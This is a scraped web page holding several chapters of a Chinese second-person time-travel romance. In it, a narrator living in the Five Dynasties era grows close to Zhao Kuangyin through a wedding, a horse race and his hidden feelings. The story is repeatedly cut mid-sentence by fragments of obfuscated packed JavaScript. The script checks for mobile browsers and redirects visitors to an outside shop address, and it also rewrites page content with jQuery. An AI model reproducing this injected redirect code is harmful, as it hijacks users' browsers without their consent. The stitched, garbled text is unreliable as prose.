l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517968|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应他们,他们不清楚你的情况,你也不要让他们弄明白你的情况,这样对你不好,这样你就危险了。 他说这些话,自然是不能让旁人听见的,声音压得极低,几乎是耳语,你只能凑在他身边听。 可能因为距离太近了,又或者他话里的维护之意太明显,你觉得心里轻轻颤了一下。 你说,赵大哥,那怎么办。 你真不是一个遇见事就慌张的人,但是赵匡胤这样为你着想、这样为你考虑,这世上没有其他人像他一样,你下意识就要问他怎么办。 赵匡胤说你应该待在安全的地方,不要出现在战场上。世界上的其他人都没有你自己重要,你多为自己想想。 怕医官随时折返,他话说得太急切了,都有些不像他平日里的声线,颇显失真。 你闻到了他身上伤口的浓重血气。 这个瞬间你忽然走神,想起血液要流经全身,想必现在从他手臂上汩汩流出的血液,曾经一定经过他的嘴唇和心脏。 赵匡胤平常总是气血很足的样子,嘴唇鲜红。可是他嘴唇下面的脖颈上,就是一道横贯的旧疤,如果当时运气不够好,恐怕已经将他的头颅给切了下来。 你叹气。 战争在源源不断地死人。你不认识的人死去,你认识的人也要死去。 你已经做好了决定。 你当晚就去把河中的那位叛将给点了。 一刀攮死,浇油点火。 还是这位叛将自己教你的办法。若不是他派人来闪击郭威,你还想不到这招。 次日,叛将自焚而死的消息传遍全城。 河中城破。 郭威一如答应你的那样,严厉地约束士卒,入城即贴榜,宣布“秋毫无犯、敢掠民财者斩”,亲自设岗巡逻,纠察违纪,当场严惩示众。 平心而论,这项纪律能彻底地推行下去,大部分是你的功劳。 “神女”的名声已经远远传开。 你一身白衣,在城中独行,士卒兵勇莫不肃然,无人敢轻举妄动。 城中惊惶的百姓犹如惊弓之鸟,见到你的身影,却又平静下来,真的相信和你一起出现的兵士不会再伤害他们。 不久另外两名叛将也被平定。 你最终还是考虑了赵匡胤曾说的话,拒绝接受正式的官职。 没有官职,但拜访你的达官贵族还是络绎不绝。 这些人无聊透顶,浑身散发着腐朽和傲慢的气息,居高临下地评估你的价格。 你实在烦不甚烦,掩盖行踪,直接消失在汴梁城里。 这下更是糟糕了。 或许那些人本来对你还没有那么好奇的。你这一消失,汴梁的宫宴家宴都要争先恐后谈到你的白衣似雪,谈到你的洒脱不羁,谈到你的行踪莫测,也谈到你似乎真与某个未知的世界有所联系。 神女大人。 你从何处来,又要到何处去。 千万人仰慕你,想要见你一面。 甚至一度发展成了贵族们攀比的风潮。 为了见你一面,那些眼高于顶的皇室贵族竟然也着手去赈济灾民、让利于民。 这些事情就很魔幻。 他们发自内心地不在乎普通民众的死活,又这样真心地想一睹传闻中神女的风采。 可怜夜半虚前席,不问苍生问鬼神。 反正你不管他们。你太累了。你在临时落脚的院子里沉沉睡去。 醒来的时候,你发现院子里等着两个人。 赵匡胤。 还有那天战场上你见过的那个郭威的养子,郭荣。 5. 喜事 你狐疑地看了一眼郭荣,确定自己在《古代中国》这课本上也没见过他的名字。 郭荣与赵匡胤差不多高,他今年已经27岁,沉稳寡言的性格在他的样貌上留下了不浅的印记。 因为不爱做表情,他面部没有什么纹路;长久抿唇,所以唇线比赵匡胤显得紧绷多了;神情浅淡,整个人冷冷的,倒是干净清爽。 一脸冷淡的郭荣说他妹妹十分仰慕你,很想见你一面。 郭荣的妹妹? 他是郭威先生的养子,他的妹妹就是郭威先生的亲女儿。 大概是看你不是很想答应,郭荣连忙加码,说他的幼子上次生病见过你一次,一直难忘你的风致,时不时便向家中人炫耀,家里的其他小孩子——他的妹妹忿忿不平,也希望能有机会同你结识。 郭荣的幼子……? 你见过吗? 你回忆了一下,才想起确实曾经被郭威先生请去给郭府的一个小男孩看诊。 你还以为那是郭威先生的小儿子呢。 你当时心里还想,郭威先生年龄挺大,竟然还能有这么小的孩子吗。 原来是郭荣的孩子。 你的表情依旧不太情愿。 汴梁的贵族们给了你太多不好的体验,这位郭氏女郎也是一位贵族小姐,你不太想去当她炫耀的谈资。 郭荣看着冷淡,连碰了你两个软钉子,竟也不生气,还是好声好气地解释。 他说他妹妹今年已经十五岁了,并不是不懂事的女郎,平日里温婉和顺,实在是倾慕你的风采,妹妹十几年来只有这一个愿望,她日前求过父亲,父亲反而斥责她。他这个当哥哥的实在看不过去,才厚着脸皮到你这里来打扰你。 十五岁? 刚刚你听郭荣的口吻“家里的其他小孩子”,还以为他的小妹妹和他的幼子一般大呢。 郭荣颇有些紧张。 你看他当日在中军大帐和敌军打遭遇战的时候都没有这样紧张过。 看来他实在是爱护自己这个妹妹。 你犹豫片刻,拒绝的话语在嘴边转了好几圈,想起郭荣是赵匡胤的直属上司,还是答应了。 算了,就当出去走走吧。 你对赵匡胤说,赵大哥,实在不好意思,你今天白跑一趟,等我过几日去找你。 你之前劳累太过,还没休息好又有这么一桩事,实在有些不舒服,不能承诺他明日,只能说过几天。 赵匡胤应了,你便同郭荣走了。 郭家妹妹确实是个温婉和顺的女子,她的名字叫郭令柔,长得漂亮极了,脸只有巴掌大,声音细细的,看着你满眼都是崇拜。 虽然如此,应付大半天下来,还是很累。 你在回去的马车上就已经困得要命,又顾忌着旁边全是外人,强撑着不许自己睡。 待推门进了院子,你已经一脚深一脚浅,只想扑到床上去立刻睡一觉。 然后你看见了赵匡胤。 赵大哥?你怎么又来了?吃饭了没有? 你梦游一样发问。 赵匡胤站在你院子里的树下。他是个英武的男子,高大健壮,平日里总是开着笑脸,是个温和开朗的人,和郭荣完全不是一个性格。 可现在他的脸却紧张地绷着,同往常大不一样,反倒和郭荣有些相似。 你一个错眼还以为鬼打墙呢,刚离开一个郭荣,又看见一个郭荣。 赵匡胤朝你走了几步,顿了顿,低声道,我来时郭将军已经到了。 啊?什么意思? 你懵懂地问。 不是我将他带来的。我知道你单单只告诉了我你的去处,但真的不是我。 赵匡胤的声音压得更低。 他实在是有些忐忑。 原本他在这里等了一天,已经逐渐不再忐忑了,觉得你一向聪慧又和善,想必一定会相信他的。 可是现在见了你的面,又忍不住怕你真的这么以为,怨他倒是小事,只怕你偷偷伤起心来。 什么? 你还是懵懂。 不过,你说出这两个字的当下,就已经明白他在说什么了。 于是你不等他回答,前脚赶后脚地接了下一句话。 你说,我没这么想。郭荣将军想必是自己有些手段吧。反正他们这些大官都这样。 你简直笑了起来。 你说,赵大哥,我怎么会这么想你呢。我知道你的。 你笑得赵匡胤有些不好意思了。 他倒不是一个容易不好意思的人。一个不吝于逗乐别人的人是不会那么容易害羞的。 赵匡胤归结为自己小人之心度君子之腹了。 你一向对他好,他是知道的。 你一向对所有人好,但是赵匡胤知道这里面还稍微有些微妙的不同。 只是他也没想明白具体是什么不同。 总归是好东西。这个世道人应该珍惜一切好东西。 见误会解开,你打了个哈欠,继续拖着步子往屋子里走。 有什么事情之后再说吧。 真的好困。 你说。 赵匡胤问,你今天吃过东西了吗? 其实你是要说谎的,你要骗他你吃了,因为如果回答没吃,他一定不会放你去睡觉的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517969|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但是不知怎么的,实话自顾自从你嘴里溜了出来。 你自己都怔了一下。 于是你只能坐着一边昏昏欲睡一边等吃饭。 可恶,之前郭府有为你准备宴饮,但你没答应。主要是他们贵族好多乱七八糟的规矩,吃个饭又几个点过去,你只想回家睡觉。 结果回家也要吃饭。 吃了再睡。你又要瘦了。 赵匡胤坚持道。 你迷迷糊糊地答应,右手被塞了个馒头,左手被塞了块羊肉。 你啃着啃着困劲又上来了,呆呆地望着他折腾厨房里的火。 赵匡胤回头,你才又抓紧啃了最后两口,咽下去,讨夸一样说,吃完啦,没有啦。 然后又喝了些热水,五脏六腑都暖洋洋的。 他用刚烧开的水兑了些凉水,只是一点凉水,水依旧热气腾腾。你自己洗干净手,又擦了脸,毛孔熨开来,浑身舒坦,在迈进房门之前几乎就已经睡过去了。 赵匡胤听见你把门带上,拖拖沓沓地走了十几步,一下子倒在床上。 他本来这会儿是要走了的,帮你合上厨房的门,又去给你锁厅堂的门。锁门的时候,一个错眼看见你的行李堆在厅堂上,看起来完全没拆过,怎么带回来的,就怎么在那里放了五六天。 赵匡胤都看见了,自然走不了了,想也知道你第二天绝对不会去管它。 他轻手轻脚地收拾到一半,听见房间里面你轻飘飘地问他。 你问,赵大哥,你本来过来是为了什么事啊? 也不知道还醒着吗? 抑或者干脆是梦话。 赵匡胤还是答道,要有喜事了。 他说了义社里一个兄弟的名字。 你与那人并不算太熟,去凑热闹也可以,不去也说得过去。只是赵匡胤肯定要去,因此来同你说一句,怕你有什么事情要麻烦他会扑个空,也怕你觉得这么大的事你一点也不知道。 你过了好半天才“嗯”了一句。 想必是根本一句都没听进去,他肯定得找时间再给你说一遍。 你平静又幸福地缩在被窝里,白天有太阳,阳光越过窗棂照射到你的被子上,你闻见了被子上太阳的味道。你听见汴梁城中遥远的梆子声,和外面厅堂上零碎的收拾声。一切事情都暂时了结了,现在你不需要为任何事情担忧。那桩只存在只言片语中的陌生喜事在你的脑海里一闪而过,但是喜气洋洋的感觉留了下来。所有念头都沉寂下去,甜美的睡意渐渐袭来。 郭荣爱护他的妹妹。我的大哥也对我很好呢。 你沉沉地睡了过去,觉得十分安全。 6. 何物似情浓 最后你还是去参加了这场婚礼。 哈哈,谁能拒绝莫名其妙去吃一顿席呢。 你在这儿都没吃过席呢。 况且,汴梁城内追捧你的风潮终于过去,贵族们转移了注意力,你也终于能够光明正大地出门了。 总不能老闷在家里。 婚礼的男方叫石守信;女方是二婚再嫁,前夫死于战乱。 五代延续唐俗,中原又刚经战乱,礼教压力约等于无,寡妇带孩子再嫁都是平常事。 郭威先生甚至前后娶过的所有妻子都是寡妇再嫁。 反正大家都不在乎那些有的没的。 太多的痛苦降临在这片土地上,那些臃肿而丑陋的规矩被尖刀、血泪和饥饿剥离开。 可能明天就要死了。那谁会关心喜欢的那个人是不是有个前夫的孩子。 这会儿的婚俗连火盆都不跨,跨的是马鞍,寓意平安。 晦气什么的虚无缥缈,被乱军一刀砍死倒是很可能就在眼前。 但还是有婚服的,红男绿女。 本来婚俗就很简单了,再穿的和平常一样,那就太没意思了。 人是需要一点仪式感的。 你在婚礼之前见过许多次男方了,他总和义社的弟兄们待在一起,穿着一样的青黑窄袖袍,脚上一双乌皮靴,不带冠饰、不戴玉佩,腰间唯有一柄短刀,刀鞘是裹木黑皮,并不太打眼。 但是今天他穿了一身绛红窄袖圆领吉袍,戴着红软脚幞头,头上还簪了花,腰间一条红铜蹀躞带,脚上蹬着乌皮镶红靴,一眼望去在人群中格外惹人注目。 你又望了他几眼,发现这种引人注目不单单是由服装带来的。 他满脸都是笑意,应酬着贺喜的人群,眉眼间都是浓烈的喜悦,焕发出异样的光彩。 石大哥今天真漂亮。 你对赵匡胤说。 赵匡胤笑了,大约因为你的用词不太妥当。 他是匆匆过来找你的。他今天很忙。 赵匡胤检查了一下你的状况,觉得你没有无聊,也没有不舒服,更没有被什么人惹得不高兴的可能性,才放下心来,和你说了几句话,又匆匆走了。 你毕竟经历特殊,性格与旁人不太一样,再者你又说你之前从没有参加过任何类似的婚宴。他最是放心不下你,一如放心不下家里最特别的弟弟妹妹。 但是你适应得比他预想的要好得多。 赵匡胤忙碌的间隙里,总是往你那个方向看,有时候看见你安安静静垂着眼眸吃鱼,有时候看见你和身边的小姑娘说话,有时候看见你咬着筷子在听旁边的婶子们说八卦。 有一次,他看见有个婆婆问你什么事,你点了点头,又立刻摇头,接着涨红了脸,倒不像是因为旁人话语不开心,只是有些害羞。 这种情况显然不需要他干涉。 但赵匡胤心里想,回头还是问问你到底发生什么了。 你愿意同旁人说笑,他很是高兴。 从战场上回来之后,你就一直恹恹的。你不喜欢战场。在战争的后半段,你应该一直都不太舒服,只是忍住了没和旁人说。 你现在恢复好了,不像之前那样笑都不愿笑一下。赵匡胤为你高兴。 他实在是忙得很。义社的兄弟都知道他处事周全,什么事情办坏了,头一个便来找他补救。 这是好兄弟的大日子,他也甘心受些忙累。 他在人群中穿梭,一刻不停。那边宾客坐席乱了,他过去调整;这边酒水不够了,他抬手招呼人添上。新房的喜烛要点,他记着时辰提醒。石守信被人灌酒,他笑着挡了两碗。王审琦找不到路,他远远指了方向。他跟谁都说得上话,跟谁都能笑一笑。 赵匡胤一向知道自己擅长同人交际,也享受自己的这个长处。 酒席要散了,婚礼的尾声,他才有些空闲。 头一个想起的便是去看看你。 他心里知道你已经大好了,他相信你,而且那么多小姑娘和年轻婶子同你一起,他不好进去找你的。 所以赵匡胤决定只是看你一眼,确定你没事。 赵匡胤带过好几个自己的弟弟妹妹。他心中总觉得小孩子很容易哭,也很容易死,他必须要时时刻刻的把注意力放在弟弟妹妹身上,不然事情随时会糟糕起来。 他看见你水波潋滟的眼睛。 你在喝酒,喝得眼睛亮晶晶的,嘴唇上沾着一层薄薄的水光。他看过去的时候,你正好伸出舌尖舔了一下面前满杯的水酒,又侧头,热火朝天地同旁边的小姑娘说起话来。 你往日是不喝酒的,至少他从没见过。 赵匡胤好酒,兵营里也没几个人不好酒。甚至可以说,整个乱世里,若是能喝上些好酒,把所有烦恼忧愁都忘掉,轻飘飘地酣睡过去,是没有人不愿意的。这么看来,大家都喜欢酒。 你这么快活。他应当为你高兴的。就像之前那样。 但赵匡胤没有感到高兴。 他不太明白自己的感受,只是依照计划行事,悄悄看了你一眼,继续往前,确定了满场的宾客没因为耳酣酒热起什么口角争执,才又回到桌前。 石守信向他敬酒。 大哥,今天多亏了你。 赵匡胤摆手,说你我二人,何必言谢。 他与石守信一碰杯,便将满杯的酒都喝了下去。这酒入口很甜,甜的边缘均匀浇上些刺舌的辣,咽下去时没感觉,过了一秒才察觉喉咙有烧灼感,一阵一阵涌上来,像惦念着谁的那种心悸。置之不理,就沉到胃里去了,十分遥远地坠着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517970|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵匡胤忽然想起来,你的快活与他没有丝毫关系。你的第一杯酒也不是同他喝的。 他原来是因为这个才不那么高兴的。 觥筹交错之间,忽然冒出的一个想法。 他来不及分析这想法为何出现、又代表着什么,因为周边还围着许多人呢,他不能被旁人看出走神来。 刚得了大胜,汴梁城的宵禁松弛许多。 所谓“昏礼”,本来也是吉时黄昏行礼的意思。 以前宵禁严格的时候,迎娶、行礼、喜宴必须全部集中在白日完成。 现在既然稍微放开了,许多人家还是想赶那个黄昏吉时。 石守信也赶了黄昏吉时,是以整场婚礼结束时,太阳已经将将要落下了。 赵匡胤送你回去。 你很少玩的这么开心,又饮了酒,难免话多一些,一路上叽叽喳喳地说撒谷豆时的趣事。 撒谷豆也是一项婚仪,女眷们撒谷、豆、枣、栗,为新人驱邪求子。 赵匡胤时不时应和两句。 他有些心不在焉,他在思考和你有关的重要事情,好在你没发现。 大家都忙着打仗呢,他怎么有空喜欢另一个人的?而且那个姐姐又是什么时候看上他的?这太奇妙了! 你用惊叹的语气说。 这些话,哪怕放在五代这种大乱世,也有些太露骨了。 赵匡胤应当规劝你几句的,可是你正开心着,他又不忍心打断你的开心。 反正就只有他听见了。赵匡胤想。 他甚至为此有些欣喜。 石大哥今天这么穿真好看呀。赵大哥,你平日里也可以穿些颜色更鲜艳的衣服,你长得好看,这样穿会显得更好看。 你又说。 赵匡胤说,红衣裳是不好日常穿的。 那赵大哥也快些成亲,这样就能穿红色衣服了。一定会很好看的! 你说。 太阳要落下了。 最后一抹光从西边的天际线漫过来,像温热的水。 你说完那句话还在笑,眼睛弯弯的,嫣红的嘴唇之间露出一点牙齿。晚风把你的碎发吹到脸上,你伸手拨了一下。那只手的边缘在夕阳里几乎是透明的。 赵匡胤没有答话。 你一点也不恼,今天你的脾气好极了,还关心他。 你说,赵大哥今天累坏了。 还好。他说。 骗人。 我都看见你跑了不知道多少趟了。石大哥有你这样的兄弟,真是他的福气。 石大哥。你叫他赵大哥,叫石守信石大哥。是一样的叫法,一样的语气,一样亲近又有分寸的称呼。 你把他当大哥尊敬。 赵匡胤为自己感到可耻。 7. 春日 接着,讨逆之战的封赏就下来了。 义社十兄弟各有擢升。 赵匡胤在军中以武艺高强、处事干练闻名,他原本就是郭威身边得力亲兵,如今得了个散指挥使的职位,旁人来往也要称一声“小校”。 甚至还有给你的赏赐。 你颇有些惊讶,因为当初皇帝要赐你官职,你拒绝了,你感觉连皇帝带内侍都挺不高兴的,虽然都是私底下的事,无人知晓,但差不多算是不欢而散了。 没想到小皇帝年龄虽小,还挺有容人雅量。 过了不久,你就发现这和小皇帝没啥关系。 因为小皇帝根本没有给过你封赏。 是郭威先生给的。 啧。 越小越封建。 你倒是没有什么心理负担的接受了,毕竟谁会嫌钱多,而且你确实给郭威先生干了挺多活。 论功行赏之后,护圣军中一片欢腾。 然后一夜之间,大家就纷纷开始准备成亲。 义社十兄弟里面,石守信之后,韩重赟、刘廷让、王政忠也先后迎来了喜事。 五代极度崇尚早婚,战乱年代,人们需要快速繁衍子嗣,才能在随时可能到来的早逝前留下孩子。 军中的武官成婚还稍晚一些,要等有稳定俸禄、有职位,一般才会开始议亲。 17到22岁之间算是这个群体的主流成婚年龄。 没成亲的年轻小将,在当时反而属于少数。 不过,你觉得春天到了也是部分原因。 漫长的、充满杀戮和血腥的冬天过去了。最后一点薄碎冰雪融化了,田埂上冒出了细细密密的嫩绿色。 你难得开开心心玩了许久。众人都默许有喜事的时候是应当开心的。 大家隔三差五地聚在一起,都挺高兴。 你感觉被这个时代来回消磨的心气和意志力养回来了许多。 大胜之后,万物都欣欣向荣。 春天正式开始了十几日,军中的新任务就下来了。 侦查、押运、传令和联络、剿灭小股叛军或匪徒。 新婚的将领这样多,郭威先生也觉得不好让人家新婚夫妻分离,是以这些任务大都压在了年富力壮又还未成婚的将领身上。 你一连许多日没见到赵匡胤。 说起来赵大哥今年已经22岁了,再往后拖到明年,他的适婚年龄就算过去了。 你真不明白他为什么不和旁人一样着急。 不过后来你又想,可能宋太祖就是比较与众不同。 况且你记得赵宋的第二个皇帝是他的亲弟弟赵光义,皇位并没有传给他的儿子。 可能本来的历史上他有孩子就很晚,幼子当不了刚开国的皇帝,所以才会有兄终弟及。 因着新近的这几场喜事你都在场,和刚就任的妻子们混得很熟,一连许多时日,她们都招呼你一起玩。 你许久许久没有同这么多适龄的年轻女性混在一起了,简直玩的乐不思蜀,自己的小院都好几日没回去。 有一天,女性们在白天聚在一起,你与主家——韩重赟的妻子过于聊得来了,韩重赟又不在家,她干脆邀你留宿。 第二天清晨,你睡得迷迷糊糊,被外面的交谈声吵醒。 是提前来报信的军士在和韩姐姐交谈,说韩重赟和赵匡胤已经在回来的路上了。 你一个鲤鱼打滚爬起来。 天色才微亮,虽然春天已经到了,但时间太早了,你冷得打哆嗦。 韩姐姐要给你烧水洗脸,你等不及了,用冰凉刺骨的冷水草草地擦了擦,鼻子都冻红了。 还好你动作快。 收拾妥当不到半刻钟,韩重赟和赵匡胤就到门口了。 你冲出去! 初春的早上,天色显得格外洁净。 赵匡胤猝不及防看见你,竟然愣住了,看了你好几秒,既不说话也没有动作,就单纯呆住了。 这种神色出现在他脸上实在是太不寻常了。 赵匡胤在将明未明的天色里站着,披着一身早春的寒气。 他身上穿了件窄袖袍,袍子的下摆掖在腰带里,显得腰腹线条十分明显。腰间那柄长刀斜挎着,刀鞘上的黑皮被露水打湿了,泛着暗暗的光。 赵大哥! 你喊。 赵匡胤看着你,稀薄晨光从他的左肩斜切过来,他的半张脸落在阴影里,半张脸处在晨光下。只是现在实在是太早了,那光的界限也很不明晰。 赵匡胤如梦初醒地应了一声。 好在身边这对小夫妻压根没有注意到他的不对劲。他们与他不同,是光明正大的。 这之后他强逼着自己不再晃神,但是心在摇颤,控制不住。从你身上把目光挪开,你却懵懂地把脸再凑过来,什么事情都不知道,大大方方的站在他眼前,大大方方地喊赵大哥赵大哥。 以前到底怎么样把你自然而然地当成小妹妹,他已经完全不记得了。 韩家里的男主人回来了,你就不好再留宿了,一拱手和韩姐姐告别。 韩姐姐急急忙忙推开厨房的门,要给你做些吃食带走。她知道你做饭不行。 你谢绝她的好意。 你要和赵大哥一起走,不好让他等你太久。 赵匡胤回军营,和你顺路。 他牵着两匹好马,这次他和韩重赟是去送一封急信,军中拨给他们两匹最好最快的马。 韩重赟急着归家,由他负责把马匹归还回军中。 你果然兴致勃勃要骑着玩。 赵匡胤把你扶上马,手只在你的衣袖上碰了一下,很快就收回来。 霜浓月淡的早上,空气带着湿意,四野是茸茸的绿意,你全无芥蒂地笑,似乎压根没有察觉到他这些日子刻意的远离。 赵匡胤觉得心胸中牵扯着微痛。 他有些盼着你怨他说他,他可以解释,他要向你如数家珍这一段时间有多么多么忙,他要说自己确实是没办法。最好你再不讲道理地骂他几句,说他忙又怎么样,哼。 可是你这样好。你和他全无芥蒂。你怎么会因为这点小事就和他闹矛盾呢。 赵大哥,我们来比赛吧!看看谁更快! 你说。 “从这里到最前面的那棵柳树,”你宣布道,“谁先到谁赢。” “赌什么?”赵匡胤问。 这你倒是没想。 于是你随口说,不知道,先记着吧。 等正式开始,你一夹马腹,冲了出去。 中原不愧是兵家必争之地,入目全是大片平坦的土地。 一望无际,没有山和丘,只有天和地。 朔风野大,空气又凉又清,跑着跑着,满心胸都是干净和畅快。 天地偌大。 但你感觉到赵匡胤追上来了。 两匹马并辔齐驱,赵匡胤侧过脸来看你。 多么英武的一张脸。赵大哥真是一个非常男子的男子。 赵匡胤的脊背挺得笔直,腰带束得很紧,显出肩背到腰际一道流畅的弧线——宽阔的肩,收束的腰,整个人像一张拉满了的弓,蓄满了力道,漂亮极了。 他显得这样游刃有余,仿佛这场比试的结局从一开始他就明了,他只是想同你一起跑完这段路。 赵匡胤看着你的方向,你有些疑惑,也顺着他的目光转过头去,却只看见了辽阔的原野上浅薄的春意,于是又回头看他。 赵大哥,你在看什么? 你的眼睛分明在问这个。 他没看什么。 在高速的奔驰中,天地之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517971|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的一切景象都模糊开去。 世间萧散更何人,春心无处不飞悬。 赵匡胤眼中其实只看见了你。 有一瞬间,他希望世界就停滞在这里。 这样,他就不需要刻意地躲着你。 也不需要每晚在漆黑的夜晚里,难为情地逼自己面对自己的心意,逼自己发誓从此改了。 更不需要在与你重逢的第一秒钟,就意识到过去发的所有誓都没有用。 他只想这样望着你就好。 可是你的眼神越来越疑惑,他最后还是在你出口之前收回了目光。 你毫无悬念地输掉了这次比试。 之后你颇为懊悔,觉得自己和一个年少时就出门游历的游侠、从军最初是骑卫的人比骑马,简直是班门弄斧。 你本以为赵匡胤也会像你一样,因为想不到彩头是什么,就先记着。 容后再说,容后再说,天长地久的,很快就忘了。 你本打算这么混过去的。 但是赵匡胤竟然当场就把彩头给用了。 他问上次石守信的婚宴,婚礼上有个婆婆,她对你说了什么,让你不太自在。 啊? 什么? 你茫然了好一阵,才想起来他说的是什么事。 这都多久以前的事情了。 好像是问我许了人家没有? 你一边回忆,一边用不确定的语气说。 我一开始没听清她在说什么,自己在那里傻乐,点了头才反应过来,又赶快摇头,其他人都在笑我呢。哈哈。没什么事啦。 你说。 怎么忽然问起这个? 你道。 赵匡胤说,忽然想起来了。想起你那天好像有点不自在,但又不知道是什么事。 赵大哥真是个特别好的大哥。 你在心里感叹道。 不过——为什么当天没直接问我呢? 你问道。 因为他想到这个问题的时候,还以为自己只把你当成妹妹。 可是就在一个时辰之后,他终于察觉到了不对。 他从那个瞬间开始怀疑自己之前所有冠以“兄妹”名义的爱护。 他一寸一寸地寻找,自己到底是从哪一刻开始动机不纯?又是从哪一刻开始借着“兄妹”的名头光明正大地亲近你,还自以为坦荡? 他到底是真心为了你好。 还是只为了自己,只为了对你的时时刻刻都想要知道、想要侵占。 听到你嘴里说出那句“她问我许了人家没有”,他竟感到惊心动魄的恐惧。 在他人眼里,你原来是个适婚的少女。 他清楚地知道自己心里在想什么。 他对不曾识得的自己感到恐惧。 他本是一片好心待你,为何如今竟然这样面目可憎。 谁都说他是个磊落的好人,他却要对你说谎。 太忙了,忘记了,所以就没问。 赵匡胤笑着说。 你把他当大哥。 你尊敬他,信任他,和他打闹,遇见事情就去找他帮忙。 但是只把他当大哥。 明明你对他要比对旁人更好一些的。你见他第一面,就对他比对旁人更特殊一些。 赵匡胤觉得你是世界上最好的女子,比世界上所有的女子都要更好。你是世界上最好的人,比世界上所有人都要更好。 你眼下是无心情爱的。就算是有,也应当是天潢贵胄、龙章凤姿。 世上没有配得上你的人。 他为何生出这样不应当的心思,连累得过去的光明磊落也要惹人非议。 他为何要这样被自己苦苦折磨,欲言又止、三缄其口、自愧于心。 他为何竟甘心情愿。 8. 有求而不得 公元949年的五月,郭威前往邺都练兵。 据说是因为他觉得契丹的情形不对,恐有边祸,于是上表给小皇帝,小皇帝因而派他去邺都巡边练兵。 此前,郭威先生在讨逆之战中连破三镇,赢的干净利落,不止小皇帝千封万赏,在军中、在朝野的威望也都达到了顶端。 他有意愿,小皇帝自然恩准。 你现在逐渐能够理解赵匡胤的日子人心态。 好领导可遇不可求啊。 好不容易遇见个好领导,领导能干又讲理,还挺赏识自己,晋升渠道相对透明公正。 那还说啥。干吧。 而且郭威先生那个养子郭荣,亲兵们的直接领导,也是一个十分正常的好领导。 他们的父子关系肉眼可见的健康,家庭幸福,互相信任,互相理解,默契十足。 他们郭家就这样和其他人格格不入。 哪怕是同朝为官的其他臣子—— 这些人有的嗜杀成性、随口定罪、当街随意杀人;有的刻薄贪财,构陷罗织、大肆敛财,连坐滥杀,党同伐异;有的公开掳掠百姓宰杀,烹食人肉,贪婪反复,毫无底线人性。 这一群拟人生物里面,郭威带着他的养子郭荣只是正常而已,就已经站在了绝对的道德高地。 其他人都在十八层地狱待着呢。 说实话,除了郭家,其他人还是很符合你对乱世的刻板印象。 一群丧尽天良的豺狼匪类。 如果没有赵匡胤他们,你估计你在这地方也活不了几年。 虽然你很厉害。 但是这该死的世道,待在里面就算被虐待了。 要是一点盼头也没有,更是虐待中的虐待。 你连高三都差点上疯了。要是通知你回高三循环往复地念个一辈子,你穿越的第一天拉开窗户就直接跳了。 更别说在这种鬼时代生活一辈子了 。 还不如高三呢。 真穿越到那种民风浇薄、有司贪虐、神州陆沉的时候,满目都是拟人的大反派,你自然冲上去就和他们爆了。 但是现在好歹有个正派阵营。 你还是先跟着正派阵营混吧。 更何况现在你好歹有家了,还有大哥们姐姐们,逢年过节有人招呼你吃饭,遇见什么难事有人真心为你好。 你打定主意,不会在物理距离上远离他们。 万一出了什么事你来不及救呢。 你同他们一同前往邺都。 邺都是后汉的陪都,河北第一军事重镇,号称“河朔名藩、国家巨屏”,有重兵驻守、戒备森严。 时值五月,夏麦将熟,初夏多晴,午后常有雷阵雨。 兵多民少,气候燥热,城中气氛实在算不得轻松。 但日子人在哪都是日子人。 赵匡胤在这里也乐呵呵地当日子人。 他日常的工作算非常繁重,校场训练、边境侦察、带队巡城、弹压乱兵、维持治安。 虽然如此,他还是两三日就会到你这来一趟。 邺都能租用的民居不多,质量更是远不如汴梁。 许多事情你都要自己上手做。 他和义社的弟兄们一起来,有时还会和几个姐姐们撞见。 他们是来帮你干活的。 这种时候,你和几个老熟人凑在一起,往往就热火朝天地开始聊天。 嗯,对外面的世界进行一点锐评。 进行一点从夯到拉排名。 进行一点乱世降临请选择你的庇护所。 进行一点假如忽然有了五百万钱。 进行一点美味食物创新设想。 反正你自己就是顶尖高手,也不怕隔墙有耳没察觉到。 聊着聊着爆发大笑,有时候你感觉自己要笑死了,根本停不下来,姐姐们还兀自往笑话里添加新的笑料。 其实还有时候干脆就单纯在聊天,聊到快要宵禁了,赶紧干半刻钟活,然后假模假样地遗憾,说只能下次再来继续干了,不如就明天早上吧。 赵匡胤有时候也单独来。 其他人毕竟有自己的小家,他们是夫妻,来你这里帮忙也不会太频繁的。 他帮你劈柴、挑水、做饭、修灶台。 你殷勤地跟在他后面打下手。 